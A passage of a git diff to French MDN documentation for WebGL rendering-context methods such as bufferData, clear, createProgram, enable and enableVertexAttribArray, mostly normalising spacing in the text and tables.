`gl.TRANSFORM_FEEDBACK_BUFFER` : tampon pour les opérations de retour de transformation ; - - `gl.UNIFORM_BUFFER` : tampon utilisé pour stocker des blocs uniform ; + - `gl.UNIFORM_BUFFER` : tampon utilisé pour stocker des blocs uniform ; - `gl.PIXEL_PACK_BUFFER` : tampon utilisé pour les opérations de transfert de pixels ; - `gl.PIXEL_UNPACK_BUFFER` : tampon utilisé pour les opérations de transfert de pixels. - taille - - : Un {{domxref("GLsizeiptr")}} définissant la taille du magasin de données de l'objet tampon. + - : Un {{domxref("GLsizeiptr")}} définissant la taille du magasin de données de l'objet tampon. - donneesSrc {{optional_inline}} - - : Un {{jsxref("ArrayBuffer")}}, {{jsxref("SharedArrayBuffer")}} ou l'un des types de tableau typés {{domxref("ArrayBufferView")}} à copier dans le magasin de données. Si `null`, un magasin de données est quand même créé, mais son contenu n'est ni initialisé, ni défini. + - : Un {{jsxref("ArrayBuffer")}}, {{jsxref("SharedArrayBuffer")}} ou l'un des types de tableau typés {{domxref("ArrayBufferView")}} à copier dans le magasin de données. Si `null`, un magasin de données est quand même créé, mais son contenu n'est ni initialisé, ni défini. - utilisation - : Un {{domxref("GLenum")}} indiquant le modèle d'utilisation du magasin de données. Valeurs possibles : - - `gl.STATIC_DRAW` : le contenu du tampon est susceptible d'être utilisé souvent mais de ne pas changer souvent ; du contenu est écrit dans le tampon, mais non lu ; - - `gl.DYNAMIC_DRAW` : le contenu du tampon est susceptible d'être souvent utilisé et de changer souvent ; du contenu est écrit dans le tampon, mais non lu ; - - `gl.STREAM_DRAW` : le contenu du tampon est susceptible de ne pas être utilisé souvent ; du contenu est écrit dans le tampon, mais non lu ; - - lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes the following values sont en outre disponibles : + - `gl.STATIC_DRAW` : le contenu du tampon est susceptible d'être utilisé souvent mais de ne pas changer souvent ; du contenu est écrit dans le tampon, mais non lu ; + - `gl.DYNAMIC_DRAW` : le contenu du tampon est susceptible d'être souvent utilisé et de changer souvent ; du contenu est écrit dans le tampon, mais non lu ; + - `gl.STREAM_DRAW` : le contenu du tampon est susceptible de ne pas être utilisé souvent ; du contenu est écrit dans le tampon, mais non lu ; + - lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes the following values sont en outre disponibles : - - `gl.STATIC_READ` : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; du contenu est lu depuis le tampon, mais non écrit ; - - `gl.DYNAMIC_READ` : le contenu du tampon est susceptible d'être utilisé souvent et de changer souvent ; du contenu est lu depuis le tampon, mais non écrit ; - - `gl.STREAM_READ` : le contenu du tampon est susceptible de ne pas être utilisé souvent ; du contenu est lu depuis le tampon, mais non écrit ; - - `gl.STATIC_COPY` : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur ; - - `gl.DYNAMIC_COPY` : le contenu du tampon est susceptible d'être utilisé souvent et de changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur ; - - `gl.STREAM_COPY` : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur. + - `gl.STATIC_READ` : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; du contenu est lu depuis le tampon, mais non écrit ; + - `gl.DYNAMIC_READ` : le contenu du tampon est susceptible d'être utilisé souvent et de changer souvent ; du contenu est lu depuis le tampon, mais non écrit ; + - `gl.STREAM_READ` : le contenu du tampon est susceptible de ne pas être utilisé souvent ; du contenu est lu depuis le tampon, mais non écrit ; + - `gl.STATIC_COPY` : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur ; + - `gl.DYNAMIC_COPY` : le contenu du tampon est susceptible d'être utilisé souvent et de changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur ; + - `gl.STREAM_COPY` : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur. - decalageSrc - : Un {{domxref("GLuint")}} indiquant le décalage d'indice d'élément où commencer à lire dans le tampon. -- `longueur` {{optional_inline}} +- `longueur` {{optional_inline}} - : Un {{domxref("GLuint")}} valant 0 par défaut. ### Valeur retournée @@ -71,9 +71,9 @@ Aucune. ### Exceptions -- Une erreur `gl.OUT_OF_MEMORY` est déclenchée si le contexte ne peut pas créer un magasin de données de la `taille` indiquée. -- Une erreur`gl.INVALID_VALUE` est déclenchée si `taille` est négative. -- Une erreur `gl.INVALID_ENUM` est déclenchée si `cible` ou`utilisation` ne sont pas l'un des enums autorisés. +- Une erreur `gl.OUT_OF_MEMORY` est déclenchée si le contexte ne peut pas créer un magasin de données de la `taille` indiquée. +- Une erreur`gl.INVALID_VALUE` est déclenchée si `taille` est négative. +- Une erreur `gl.INVALID_ENUM` est déclenchée si `cible` ou`utilisation` ne sont pas l'un des enums autorisés. ## Exemples @@ -89,7 +89,7 @@ gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW); ### Récupération de l'information de tampon -Pour vérifier l'utilisation du tampon en cours et la taille du tampon, utiliser la méthode {{domxref("WebGLRenderingContext.getBufferParameter()")}}. +Pour vérifier l'utilisation du tampon en cours et la taille du tampon, utiliser la méthode {{domxref("WebGLRenderingContext.getBufferParameter()")}}. ```js gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE); diff --git a/files/fr/web/api/webglrenderingcontext/canvas/index.md b/files/fr/web/api/webglrenderingcontext/canvas/index.md index e6d36646bd..c9f6d0d537 100644 --- a/files/fr/web/api/webglrenderingcontext/canvas/index.md +++ b/files/fr/web/api/webglrenderingcontext/canvas/index.md @@ -19,13 +19,13 @@ La propriété `WebGLRenderingContext.canvas` est une référence en lecture seu ### Valeur retournée -Soit un objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}}, soit {{jsxref("null")}}. +Soit un objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}}, soit {{jsxref("null")}}. ## Exemples ### Élément canevas -Étant donné cet élément {{HTMLElement("canvas")}} : +Étant donné cet élément {{HTMLElement("canvas")}} : ```html <canvas id="canevas"></canvas> @@ -41,7 +41,7 @@ gl.canvas; // HTMLCanvasElement ### Canevas hors écran -Exemple d'utilisation de l'objet expérimental {{domxref("OffscreenCanvas")}}. +Exemple d'utilisation de l'objet expérimental {{domxref("OffscreenCanvas")}}. ```js var horsEcran = new OffscreenCanvas(256, 256); diff --git a/files/fr/web/api/webglrenderingcontext/clear/index.md b/files/fr/web/api/webglrenderingcontext/clear/index.md index 803a50fd26..a21224f44b 100644 --- a/files/fr/web/api/webglrenderingcontext/clear/index.md +++ b/files/fr/web/api/webglrenderingcontext/clear/index.md @@ -11,11 +11,11 @@ translation_of: Web/API/WebGLRenderingContext/clear --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.clear()`** de [l'API WebGL](/fr/docs/Web/API/WebGL_API) efface les tampons avec des valeurs prédéfinies. +La méthode **`WebGLRenderingContext.clear()`** de [l'API WebGL](/fr/docs/Web/API/WebGL_API) efface les tampons avec des valeurs prédéfinies. -Ces valeurs prédéfinies peuvent être affectées par {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}}, {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} ou {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}}. +Ces valeurs prédéfinies peuvent être affectées par {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}}, {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} ou {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}}. -Les masques d'écriture, de détourage, de tramage et de tampon peuvent affecter la méthode `clear()`. +Les masques d'écriture, de détourage, de tramage et de tampon peuvent affecter la méthode `clear()`. ## Syntaxe @@ -25,7 +25,7 @@ Les masques d'écriture, de détourage, de tramage et de tampon peuvent affecte - `masque` - - : Un masque OU par bits {{domxref("GLbitfield")}} qui indique les tampons à effacer. Les valeurs possibles sont : + - : Un masque OU par bits {{domxref("GLbitfield")}} qui indique les tampons à effacer. Les valeurs possibles sont : - `gl.COLOR_BUFFER_BIT` - `gl.DEPTH_BUFFER_BIT` @@ -37,18 +37,18 @@ Aucune. ### Exceptions -Si *masque* n'est pas l'une des valeurs possibles listées, une erreur `gl.INVALID_ENUM` est déclenchée. +Si *masque* n'est pas l'une des valeurs possibles listées, une erreur `gl.INVALID_ENUM` est déclenchée. ## Exemples -La méthode `clear()` accepte des valeurs multiples. +La méthode `clear()` accepte des valeurs multiples. ```js gl.clear(gl.DEPTH_BUFFER_BIT); gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT); ``` -Pour obtenir les valeurs d'effacement courantes, interrogez les constantes `COLOR_CLEAR_VALUE`, `DEPTH_CLEAR_VALUE` et `STENCIL_CLEAR_VALUE` grâce à la méthode `getParameter()`. +Pour obtenir les valeurs d'effacement courantes, interrogez les constantes `COLOR_CLEAR_VALUE`, `DEPTH_CLEAR_VALUE` et `STENCIL_CLEAR_VALUE` grâce à la méthode `getParameter()`. ```js gl.getParameter(gl.COLOR_CLEAR_VALUE); diff --git a/files/fr/web/api/webglrenderingcontext/compileshader/index.md b/files/fr/web/api/webglrenderingcontext/compileshader/index.md index e0334e3e36..deab94fb53 100644 --- a/files/fr/web/api/webglrenderingcontext/compileshader/index.md +++ b/files/fr/web/api/webglrenderingcontext/compileshader/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/compileShader --- {{APIRef("WebGL")}} -La méthode **WebGLRenderingContext.compileShader()** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) compile un shader GLSL en données binaires, de sorte qu'il puisse être utilisé par un {{domxref("WebGLProgram")}}. +La méthode **WebGLRenderingContext.compileShader()** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) compile un shader GLSL en données binaires, de sorte qu'il puisse être utilisé par un {{domxref("WebGLProgram")}}. ## Syntaxe @@ -20,7 +20,7 @@ La méthode **WebGLRenderingContext.compileShader()** de l'[API WebGL](/fr-FR/ ### Paramètres - `shader` - - : Un {{domxref("WebGLShader")}} de fragments ou de sommets. + - : Un {{domxref("WebGLShader")}} de fragments ou de sommets. ## Exemples diff --git a/files/fr/web/api/webglrenderingcontext/createprogram/index.md b/files/fr/web/api/webglrenderingcontext/createprogram/index.md index cf6ce1d9b9..56613c8b85 100644 --- a/files/fr/web/api/webglrenderingcontext/createprogram/index.md +++ b/files/fr/web/api/webglrenderingcontext/createprogram/index.md @@ -23,11 +23,11 @@ Aucun. ### Valeur retournée -Un objet {{domxref("WebGLProgram")}} qui est une combinaison de deux {{domxref("WebGLShader")}}s compilés, constitués d'un shader de sommet et d'un shader de fragment (tous deux écrits en GLSL). Ceux-ci sont ensuite liés en un programme utilisable. +Un objet {{domxref("WebGLProgram")}} qui est une combinaison de deux {{domxref("WebGLShader")}}s compilés, constitués d'un shader de sommet et d'un shader de fragment (tous deux écrits en GLSL). Ceux-ci sont ensuite liés en un programme utilisable. ## Exemples -### Création d'un programme WebGL +### Création d'un programme WebGL ```js var programme = gl.createProgram(); @@ -44,7 +44,7 @@ if ( !gl.getProgramParameter( programme, gl.LINK_STATUS) ) { } ``` -Voir {{domxref ("WebGLShader")}} pour plus d'informations sur la création du `shaderDeSommet` et du `shaderDeFragment` dans l'exemple ci-dessus. +Voir {{domxref ("WebGLShader")}} pour plus d'informations sur la création du `shaderDeSommet` et du `shaderDeFragment` dans l'exemple ci-dessus. ## Spécifications diff --git a/files/fr/web/api/webglrenderingcontext/createshader/index.md b/files/fr/web/api/webglrenderingcontext/createshader/index.md index a2e973949c..8de71539dd 100644 --- a/files/fr/web/api/webglrenderingcontext/createshader/index.md +++ b/files/fr/web/api/webglrenderingcontext/createshader/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/WebGLRenderingContext/createShader --- {{APIRef("WebGL")}} -La méthode **WebGLRenderingContext.createShader() de l'**[API WebGL](/fr-FR/docs/Web/API/WebGL_API) crée un {{domxref("WebGLShader")}}, qui peut alors être configuré davantage en utilisant {{domxref("WebGLRenderingContext.shaderSource()")}} et {{domxref("WebGLRenderingContext.compileShader()")}}. +La méthode **WebGLRenderingContext.createShader() de l'**[API WebGL](/fr-FR/docs/Web/API/WebGL_API) crée un {{domxref("WebGLShader")}}, qui peut alors être configuré davantage en utilisant {{domxref("WebGLRenderingContext.shaderSource()")}} et {{domxref("WebGLRenderingContext.compileShader()")}}. ## Syntaxe @@ -21,11 +21,11 @@ La méthode **WebGLRenderingContext.createShader() de l'**[API WebGL](/fr-FR/do ### Paramètres - `type` - - : Soit `gl.VERTEX_SHADER`, soit `gl.FRAGMENT_SHADER` + - : Soit `gl.VERTEX_SHADER`, soit `gl.FRAGMENT_SHADER` ## Exemples -Voir {{domxref("WebGLShader")}} pour l'utilisation et des exemples. +Voir {{domxref("WebGLShader")}} pour l'utilisation et des exemples. ## Spécifications diff --git a/files/fr/web/api/webglrenderingcontext/createtexture/index.md b/files/fr/web/api/webglrenderingcontext/createtexture/index.md index a073857b80..a856c96784 100644 --- a/files/fr/web/api/webglrenderingcontext/createtexture/index.md +++ b/files/fr/web/api/webglrenderingcontext/createtexture/index.md @@ -24,13 +24,13 @@ Aucun. ### Valeur retournée -Un objet {{domxref("WebGLTexture")}} auquel des images peuvent être liées. +Un objet {{domxref("WebGLTexture")}} auquel des images peuvent être liées. ## Exemples -Voir aussi le [tutoriel WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial) sur l'[Utilisation de textures en WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL). +Voir aussi le [tutoriel WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial) sur l'[Utilisation de textures en WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL). -### Création d'une texture +### Création d'une texture ```js var canevas = document.getElementById('canevas'); @@ -57,7 +57,7 @@ var texture = gl.createTexture(); {{SpecName('OpenGL ES 2.0', "glGenTextures.xml", "glGenTextures")}} </td> <td>{{Spec2('OpenGL ES 2.0')}}</td> - <td>Page man de l’API OpenGL (similaire).</td> + <td>Page man de l’API OpenGL (similaire).</td> </tr> </tbody> </table> diff --git a/files/fr/web/api/webglrenderingcontext/deletebuffer/index.md b/files/fr/web/api/webglrenderingcontext/deletebuffer/index.md index 47fbedaa04..b544dfdcdf 100644 --- a/files/fr/web/api/webglrenderingcontext/deletebuffer/index.md +++ b/files/fr/web/api/webglrenderingcontext/deletebuffer/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/deleteBuffer --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.deleteBuffer()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) supprime le {{domxref ("WebGLBuffer")}} indiqué. Cette méthode n'a aucun effet si le tampon a déjà été supprimé. +La méthode **`WebGLRenderingContext.deleteBuffer()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) supprime le {{domxref ("WebGLBuffer")}} indiqué. Cette méthode n'a aucun effet si le tampon a déjà été supprimé. ## Syntaxe diff --git a/files/fr/web/api/webglrenderingcontext/deleteshader/index.md b/files/fr/web/api/webglrenderingcontext/deleteshader/index.md index 82f2677183..5388dbf0f8 100644 --- a/files/fr/web/api/webglrenderingcontext/deleteshader/index.md +++ b/files/fr/web/api/webglrenderingcontext/deleteshader/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/deleteShader --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.deleteShader()`** de l'API WebGL marque l'objet {{domxref("WebGLShader")}} indiqué pour suppression. Il sera ensuite supprimé dès que le shader ne sera plus utilisé. Cette méthode n'a aucun effet si le shader a déjà été supprimé, et le {{domxref ("WebGLShader")}} est automatiquement marqué pour la suppression lorsqu'il est détruit par le garbage collector. +La méthode **`WebGLRenderingContext.deleteShader()`** de l'API WebGL marque l'objet {{domxref("WebGLShader")}} indiqué pour suppression. Il sera ensuite supprimé dès que le shader ne sera plus utilisé. Cette méthode n'a aucun effet si le shader a déjà été supprimé, et le {{domxref ("WebGLShader")}} est automatiquement marqué pour la suppression lorsqu'il est détruit par le garbage collector. ## Syntaxe diff --git a/files/fr/web/api/webglrenderingcontext/drawarrays/index.md b/files/fr/web/api/webglrenderingcontext/drawarrays/index.md index f9d4ce2d0d..953099804b 100644 --- a/files/fr/web/api/webglrenderingcontext/drawarrays/index.md +++ b/files/fr/web/api/webglrenderingcontext/drawarrays/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/WebGLRenderingContext/drawArrays --- {{APIRef("WebGL")}} -La méthode **`WebGLRenderingContext.drawArrays()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) dessine des primitives à partir de données tabulaires. +La méthode **`WebGLRenderingContext.drawArrays()`** de l'[API WebGL](/fr-FR/docs/Web/API/WebGL_API) dessine des primitives à partir de données tabulaires. ## Syntaxe @@ -23,18 +23,18 @@ La méthode **`WebGLRenderingContext.drawArrays()`** de l'[API WebGL](/fr-FR/doc - : Un {{domxref ("GLenum")}} indiquant la primitive de type à dessiner. Les valeurs possibles sont : - - `gl.POINTS` : dessine un seul point ; - - `gl.LINE_STRIP` : dessine une ligne droite jusqu'au sommet suivant ; - - `gl.LINE_LOOP` : dessine une ligne droite jusqu'au sommet suivant, et relie le dernier sommet au premier ; - - `gl.LINES` : dessine une ligne entre une paire de sommets ; + - `gl.POINTS` : dessine un seul point ; + - `gl.LINE_STRIP` : dessine une ligne droite jusqu'au sommet suivant ; + - `gl.LINE_LOOP` : dessine une ligne droite jusqu'au sommet suivant, et relie le dernier sommet au premier ; + - `gl.LINES` : dessine une ligne entre une paire de sommets ; - [`gl.TRIANGLE_STRIP`](https://en.wikipedia.org/wiki/Triangle_strip) - [`gl.TRIANGLE_FAN`](https://en.wikipedia.org/wiki/Triangle_fan) - - `gl.TRIANGLES` : dessine un triangle pour un groupe de trois sommets. + - `gl.TRIANGLES` : dessine un triangle pour un groupe de trois sommets. - `premier` - - : Un {{domxref("GLint")}} indiquant de l'indice de départ dans le tableau des points des vecteurs. + - : Un {{domxref("GLint")}} indiquant de l'indice de départ dans le tableau des points des vecteurs. - `compte` - - : Un {{domxref("GLsizei")}} indiquant le nombre d'indices à dessiner. + - : Un {{domxref("GLsizei")}} indiquant le nombre d'indices à dessiner. ### Valeur retournée @@ -42,9 +42,9 @@ None. ### Exceptions -- Si `mode` n'est pas l'une des valeurs acceptables, une erreur `gl.INVALID_ENUM` est déclenchée. -- Si `premier` ou `compte` sont négatifs, une erreur `gl.INVALID_VALUE` est déclenchée. -- Si `gl.CURRENT_PROGRAM` est {{jsxref("null")}}, une erreur `gl.INVALID_OPERATION` est déclenchée. +- Si `mode` n'est pas l'une des valeurs acceptables, une erreur `gl.INVALID_ENUM` est déclenchée. +- Si `premier` ou `compte` sont négatifs, une erreur `gl.INVALID_VALUE` est déclenchée. +- Si `gl.CURRENT_PROGRAM` est {{jsxref("null")}}, une erreur `gl.INVALID_OPERATION` est déclenchée. ## Exemples @@ -64,10 +64,7 @@ gl.drawArrays(gl.POINTS, 0, 8); <tr> <td>{{SpecName('WebGL', "#5.14.11", "drawArrays")}}</td> <td>{{Spec2('WebGL')}}</td> - <td> - <p> </p> - Définition initiale. - </td> + <td>Définition initiale.</td> </tr> <tr> <td> diff --git a/files/fr/web/api/webglrenderingcontext/enable/index.md b/files/fr/web/api/webglrenderingcontext/enable/index.md index d207dd636e..ee111a31cc 100644 --- a/files/fr/web/api/webglrenderingcontext/enable/index.md +++ b/files/fr/web/api/webglrenderingcontext/enable/index.md @@ -22,7 +22,7 @@ La méthode `WebGLRenderingContext.enable()` de l'API WebGL active des fonctionn - `fon` - - : Un {{domxref("GLenum")}} indiquant quelle fonctionnalité WebGL activer. Valeurs possibles : + - : Un {{domxref("GLenum")}} indiquant quelle fonctionnalité WebGL activer. Valeurs possibles : | Constante | Description | | ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -30,17 +30,17 @@ La méthode `WebGLRenderingContext.enable()` de l'API WebGL active des fonctionn | `gl.CULL_FACE` | Active le masquage des polygones. Voir {{domxref("WebGLRenderingContext.cullFace()")}}. | | `gl.DEPTH_TEST` | Active les comparaisons et les mises à jour dans le tampon de profondeur. Voir {{domxref("WebGLRenderingContext.depthFunc()")}}. | | `gl.DITHER` | Active le tramage des composantes de couleur avant qu'elles ne soient écrites dans le tampon de couleur. | - | `gl.POLYGON_OFFSET_FILL` | Active l'ajout d'un décalage aux valeurs de profondeur des fragments de polygone. Voir {{domxref("WebGLRenderingContext.polygonOffset()")}}. | + | `gl.POLYGON_OFFSET_FILL` | Active l'ajout d'un décalage aux valeurs de profondeur des fragments de polygone. Voir {{domxref("WebGLRenderingContext.polygonOffset()")}}. | | `gl.SAMPLE_ALPHA_TO_COVERAGE` | Active le calcul d'une valeur de couverture temporaire déterminée par la valeur alpha. | | `gl.SAMPLE_COVERAGE` | Active le ET de la couverture des fragments avec la valeur de couverture temporaire. Voir {{domxref("WebGLRenderingContext.sampleCoverage()")}}. | | `gl.SCISSOR_TEST` | Active le test de détourage qui supprime les fragments se trouvant en dehors du rectangle de détourage. Voir {{domxref("WebGLRenderingContext.scissor()")}}. | | `gl.STENCIL_TEST` | Active le test et les mises à jour stencil dans le stencil buffer. Voir {{domxref("WebGLRenderingContext.stencilFunc()")}}. | - Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles : + Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles : | Constante | Description | | ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - | `gl.RASTERIZER_DISCARD` | Les primitives sont supprimées immédiatement après l'étape de rastérisation, mais après l'étape de renvoi de transformation optionnelle. Les commandes `gl.clear()` sont ignorées. | + | `gl.RASTERIZER_DISCARD` | Les primitives sont supprimées immédiatement après l'étape de rastérisation, mais après l'étape de renvoi de transformation optionnelle. Les commandes `gl.clear()` sont ignorées. | ### Valeur retournée @@ -52,7 +52,7 @@ Aucune. gl.enable(gl.DITHER); ``` -Pour vérifier que cette fonctionnalité est activée, utilisez la méthode {{domxref("WebGLRenderingContext.isEnabled()")}} : +Pour vérifier que cette fonctionnalité est activée, utilisez la méthode {{domxref("WebGLRenderingContext.isEnabled()")}} : ```js gl.isEnabled(gl.DITHER); @@ -63,7 +63,7 @@ gl.isEnabled(gl.DITHER); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------- | ------------------------------------ | ------------------------------------ | -| {{SpecName('WebGL', "#5.14.3", "enable")}} | {{Spec2('WebGL')}} | Définition initiale pour WebGL. | +| {{SpecName('WebGL', "#5.14.3", "enable")}} | {{Spec2('WebGL')}} | Définition initiale pour WebGL. | | {{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}} | {{Spec2('OpenGL ES 2.0')}} | Page man de l'API OpenGL ES 2.0. | | {{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}} | {{Spec2('OpenGL ES 3.0')}} | Page man de l'API OpenGL ES 3.0 API. | diff --git a/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.md b/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.md index 0ef32e590c..4f7b56545d 100644 --- a/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.md +++ b/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.md @@ -19,13 +19,13 @@ translation_of: Web/API/WebGLRenderingContext/enableVertexAttribArray --- {{APIRef("WebGL")}} -La méthode {{domxref ("WebGLRenderingContext")}} **`enableVertexAttribArray()` -** qui fait partie de l'API WebGL - active le tableau générique des attributs de sommet à l'indice spécifié dans la liste des tableaux d'attributs. +La méthode {{domxref ("WebGLRenderingContext")}} **`enableVertexAttribArray()` -** qui fait partie de l'API WebGL - active le tableau générique des attributs de sommet à l'indice spécifié dans la liste des tableaux d'attributs. -> **Note :** Vous pouvez désactiver le tableau d'attributs en appelant {{domxref("WebGLRenderingContext.disableVertexAttribArray", "disableVertexAttribArray()")}}. +> **Note :** Vous pouvez désactiver le tableau d'attributs en appelant {{domxref("WebGLRenderingContext.disableVertexAttribArray", "disableVertexAttribArray()")}}. Dans WebGL, les valeurs s'appliquant à un sommet particulier sont stockées dans des attributs. Ceux-ci ne sont disponibles que pour le code JavaScript et le shader de sommet. Les attributs sont référencés par un numéro d'indice dans la liste des attributs gérés par la GPU. Certains indices d'attributs de sommet peuvent avoir des buts prédéfinis, suivant la plate-forme et/ou la GPU. D'autres sont affectés par la couche WebGL lorsque vous créez les attributs. -De toute façon, puisque les attributs ne peuvent pas être utilisés sauf s'ils sont activés, et ils sont désactivés par défaut, vous devez appeler `enableVertexAttribArray()` pour activer les attributs individuels, afin qu'ils puissent être utilisés. Ceci fait, d'autres méthodes peuvent être utilisées pour accéder à l'attribut, y compris {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}, {{domxref("WebGLRenderingContext.vertexAttrib", "vertexAttrib*()")}}, et {{domxref("WebGLRenderingContext.getVertexAttrib"," getVertexAttrib()")}}. +De toute façon, puisque les attributs ne peuvent pas être utilisés sauf s'ils sont activés, et ils sont désactivés par défaut, vous devez appeler `enableVertexAttribArray()` pour activer les attributs individuels, afin qu'ils puissent être utilisés. Ceci fait, d'autres méthodes peuvent être utilisées pour accéder à l'attribut, y compris {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}, {{domxref("WebGLRenderingContext.vertexAttrib", "vertexAttrib*()")}}, et {{domxref("WebGLRenderingContext.getVertexAttrib"," getVertexAttrib()")}}. ## Syntaxe @@ -42,14 +42,14 @@ De toute façon, puisque les attributs ne peuvent pas être utilisés sauf s'ils ### Erreurs -Pour vérifier d'éventuelles erreurs après l'appel à `enableVertexAttribArray()`, appelez {{domxref("WebGLRenderingContext.getError", "getError()")}}. +Pour vérifier d'éventuelles erreurs après l'appel à `enableVertexAttribArray()`, appelez {{domxref("WebGLRenderingContext.getError", "getError()")}}. - `WebGLRenderingContext.INVALID_VALUE` - - : L'`indice` spécifié est invalide, c'est-à-dire qu'il est supérieur ou égal au nombre maximal d'entrées autorisées dans la liste des attributs de sommet du contexte, comme indiqué par la valeur de `WebGLRenderingContext.MAX_VERTEX_ATTRIBS`. + - : L'`indice` spécifié est invalide, c'est-à-dire qu'il est supérieur ou égal au nombre maximal d'entrées autorisées dans la liste des attributs de sommet du contexte, comme indiqué par la valeur de `WebGLRenderingContext.MAX_VERTEX_ATTRIBS`. ## Exemple -Ce code — un extrait de l'exemple complet [Un exemple d'animation 2D WebGL de base](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example) — montre l'utilisation de `enableVertexArray()` pour activer l'attribut qui sera utilisé par la couche WebGL pour passer des sommets individuels depuis le tampon des sommets à la fonction shader de sommet. +Ce code — un extrait de l'exemple complet [Un exemple d'animation 2D WebGL de base](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example) — montre l'utilisation de `enableVertexArray()` pour activer l'attribut qui sera utilisé par la couche WebGL pour passer des sommets individuels depuis le tampon des sommets à la fonction shader de sommet. ```js gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer); @@ -66,11 +66,11 @@ gl.drawArrays(gl.TRIANGLES, 0, vertexCount); > **Note :** Cet extrait de code provient de [la fonction animateScene()](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example#Drawing_and_animating_the_scene) dans "Un exemple d'animation WebGL 2D de base". Voir cet article pour l'exemple complet et pour voir l'animation résultante en action. -Ce code définit le tampon des sommets qui sera utilisé pour dessiner les triangles de la forme en appelant {{domxref("WebGLRenderingContext.bindBuffer", "bindBuffer()")}}. Ensuite, l'indice de l'attribut de position des sommets est obtenu à partir du programme shader en appelant {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}. +Ce code définit le tampon des sommets qui sera utilisé pour dessiner les triangles de la forme en appelant {{domxref("WebGLRenderingContext.bindBuffer", "bindBuffer()")}}. Ensuite, l'indice de l'attribut de position des sommets est obtenu à partir du programme shader en appelant {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}. -Avec l'indice de l'attribut de position des sommets maintenant disponible dans `aVertexPosition`, nous appelons `enableVertexAttribArray()` pour activer l'attribut de position afin qu'il puisse être utilisé par le programme shader (en particulier, par le shader de sommet). +Avec l'indice de l'attribut de position des sommets maintenant disponible dans `aVertexPosition`, nous appelons `enableVertexAttribArray()` pour activer l'attribut de position afin qu'il puisse être utilisé par le programme shader (en particulier, par le shader de sommet). -Le tampon des sommets est alors lié à l'attribut `aVertexPosition` en appelant {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}. Cette étape n'est pas évidente, puisque cette liaison est presque un effet de biais. Mais cela a pour résultat qu'un accès à `aVertexPosition` récupére désormais des données à partir du tampon des sommets. +Le tampon des sommets est alors lié à l'attribut `aVertexPosition` en appelant {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}. Cette étape n'est pas évidente, puisque cette liaison est presque un effet de biais. Mais cela a pour résultat qu'un accès à `aVertexPosition` récupére désormais des données à partir du tampon des sommets. Avec l'association définie entre le tampon des sommets de notre forme et l'attribut `aVertexPosition` utilisé pour fournir les sommets un par un dans le shader de 